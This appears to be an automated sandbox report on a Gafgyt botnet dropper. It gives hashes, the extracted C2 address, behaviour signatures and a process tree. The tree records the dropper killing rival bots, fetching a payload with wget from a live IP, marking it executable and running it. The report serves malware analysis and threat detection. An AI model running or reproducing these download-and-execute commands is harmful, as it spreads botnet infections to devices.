Analysis
- max time kernel
113s - max time network
115s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
02/07/2026, 07:34
Static task
static1
Behavioral task
behavioral1
Sample
22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98
Resource
debian9-mipsel-20260513-en
General
- Target 22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98
- Size 1KB
- Sample260702-jecqmscs8q
- SHA256 22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98
- MD5 538fc672d16667a580b6e29f596057eb
- SHA1 bec239a5682b2665e016959cf8a90deee8ea10ed
- SHA512 ba204550541593998df01e06fc0bfb9b315b550fe1ed639d161d5acdbd5cd365345123090b4a380f153e9e4f56aead01f1b9f88f55794bce69688af5c59a066c
- TLSH T177316DAF4412EB352405C1E88B0EF2DBA166F027BB83DE8E64F49B89ED3584462445F3
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
gafgyt
-
85.204.125.67:12345
Signatures
- Detected Gafgyt variant 1 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_gafgyt - File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 676 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/a-r.m-7.SativaC2 678 22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98 - Enumerates running processes
Discovers information about currently running processes on the system
- Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/route a-r.m-7.SativaC2 - Reads CPU attributes 1 TTPs 4 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/route a-r.m-7.SativaC2 -
description ioc Process File opened for reading /proc/14/status pkill File opened for reading /proc/14/cmdline pkill File opened for reading /proc/20/cmdline pkill File opened for reading /proc/643/cmdline pkill File opened for reading /proc/15/cmdline pkill File opened for reading /proc/157/cmdline pkill File opened for reading /proc/640/status pkill File opened for reading /proc/25/status pkill File opened for reading /proc/7/status pkill File opened for reading /proc/15/cmdline pkill File opened for reading /proc/20/status pkill File opened for reading /proc/29/status pkill File opened for reading /proc/633/status pkill File opened for reading /proc/635/status pkill File opened for reading /proc/3/cmdline pkill File opened for reading /proc/25/cmdline pkill File opened for reading /proc/28/status pkill File opened for reading /proc/1/cmdline pkill File opened for reading /proc/19/status pkill File opened for reading /proc/24/status pkill File opened for reading /proc/5/status pkill File opened for reading /proc/19/cmdline pkill File opened for reading /proc/646/cmdline pkill File opened for reading /proc/43/cmdline pkill File opened for reading /proc/646/cmdline pkill File opened for reading /proc/16/cmdline pkill File opened for reading /proc/290/cmdline pkill File opened for reading /proc/134/cmdline pkill File opened for reading /proc/306/status pkill File opened for reading /proc/323/status pkill File opened for reading /proc/585/status pkill File opened for reading /proc/628/cmdline pkill File opened for reading /proc/6/status pkill File opened for reading /proc/24/cmdline pkill File opened for reading /proc/13/status pkill File opened for reading /proc/76/cmdline pkill File opened for reading /proc/168/cmdline pkill File opened for reading /proc/157/status pkill File opened for reading /proc/295/cmdline pkill File opened for reading /proc/25/status pkill File opened for reading /proc/332/status pkill File opened for reading /proc/18/cmdline pkill File opened for reading /proc/108/cmdline pkill File opened for reading /proc/166/status pkill File opened for reading /proc/633/status pkill File opened for reading /proc/12/status pkill File opened for reading /proc/641/cmdline pkill File opened for reading /proc/656/cmdline pkill File opened for reading /proc/4/status pkill File opened for reading /proc/640/cmdline pkill File opened for reading /proc/filesystems pkill File opened for reading /proc/8/status pkill File opened for reading /proc/108/status pkill File opened for reading /proc/643/status pkill File opened for reading /proc/108/cmdline pkill File opened for reading /proc/157/status pkill File opened for reading /proc/17/cmdline pkill File opened for reading /proc/292/cmdline pkill File opened for reading /proc/27/status pkill File opened for reading /proc/105/status pkill File opened for reading /proc/646/cmdline pkill File opened for reading /proc/108/cmdline pkill File opened for reading /proc/3/status pkill File opened for reading /proc/166/status pkill - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/a-r.m-7.SativaC2 wget
Processes
-
/tmp/22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf98/tmp/22f0cab894d583ba3e871a983ffd99c2e84083e8bc555f5663de95ca3844cf981⤵
- Executes dropped EXE
PID:644 -
/usr/bin/pkillpkill -9 SativaC22⤵
- Reads CPU attributes
- Reads runtime system information
PID:647
-
-
/usr/bin/pkillpkill -9 .sysinit2⤵
- Reads CPU attributes
- Reads runtime system information
PID:658
-
-
/usr/bin/pkillpkill -9 m-i.p-s2⤵
- Reads CPU attributes
- Reads runtime system information
PID:666
-
-
/usr/bin/pkillpkill -9 a-r.m-2⤵
- Reads CPU attributes
- Reads runtime system information
PID:669
-
-
/bin/unameuname -m2⤵PID:673
-
-
/usr/bin/wgetwget http://85.204.125.67:80/a-r.m-7.SativaC2 -O a-r.m-7.SativaC22⤵
- Writes file to tmp directory
PID:674
-
-
/bin/chmodchmod +x a-r.m-7.SativaC22⤵
- File and Directory Permissions Modification
PID:676
-
-
/tmp/a-r.m-7.SativaC2./a-r.m-7.SativaC21⤵
- Reads system routing table
- Reads system network configuration
PID:678
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /tmp/a-r.m-7.SativaC2
- Size 125KB
- SHA256 a04b3e244c79b4ac7db8325817462595e633a2fb41003cd0979269d53935551c
- MD5 858b584a2af65a7d249077d234cf5df8
- SHA1 04413cb3555f9232ce834d21525d9c0918416db1
- SHA512 b58d9a3e5c7ece7d49d6213e56cba4056d39567ed97dc07e18b46ebd9b8d1b5d40e9b733ec9a328029e958d678621b9080cb689c6ad994c820e8f8be8217c7b3
- SSDEEP 3072:B1yOjfwTePdRLN8053jfzFlfEkuHHwI2gP:B1yOHdRLN82jf7EkuwI2gP
- TLSH T1C1C3095DB440CB22C5D1263AFA9F424433735764EFEE370699186F343AD762A8E3A702
- MD5 SHA1 SHA512 SSDEEP TLSH